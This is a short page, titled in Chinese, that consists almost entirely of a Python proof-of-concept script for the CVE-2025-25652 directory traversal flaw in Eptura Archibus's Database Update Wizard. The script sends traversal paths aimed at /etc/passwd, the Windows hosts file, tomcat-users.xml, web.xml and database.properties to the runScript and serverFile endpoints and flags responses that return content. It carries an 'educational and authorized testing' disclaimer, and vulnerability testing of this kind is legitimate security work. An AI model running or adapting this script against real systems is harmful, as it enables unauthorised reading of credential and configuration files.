CVE-2025-25652 Eptura Archibus 数据库更新向导目录遍历漏洞

#!/usr/bin/env python3 """ CVE-2025-25652 PoC - Eptura Archibus Directory Traversal Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET_URL = "http://target-server.com/archibus/" def test_directory_traversal(): """Test for directory traversal vulnerability in Database Update Wizard""" # Common sensitive files to test test_paths = [ "../../../etc/passwd", "..\..\..\windows\system32\drivers\etc\hosts", "../../../web.xml", "../../../tomcat-users.xml", "../../../database.properties" ] # Test Run Script component run_script_url = TARGET_URL + "dbupdate/runScript" # Test Server File component server_file_url = TARGET_URL + "dbupdate/serverFile" print("[*] Testing CVE-2025-25652 Directory Traversal...") print(f"[*] Target: {TARGET_URL}") for path in test_paths: # Test Run Script endpoint params = {"scriptPath": path} try: response = requests.get(run_script_url, params=params, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Potential vulnerability found at Run Script with path: {path}") print(f" Response length: {len(response.content)} bytes") except requests.RequestException as e: print(f"[-] Request failed for Run Script: {e}") # Test Server File endpoint params = {"filePath": path} try: response = requests.get(server_file_url, params=params, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Potential vulnerability found at Server File with path: {path}") print(f" Response length: {len(response.content)} bytes") except requests.RequestException as e: print(f"[-] Request failed for Server File: {e}") if __name__ == "__main__": test_directory_traversal()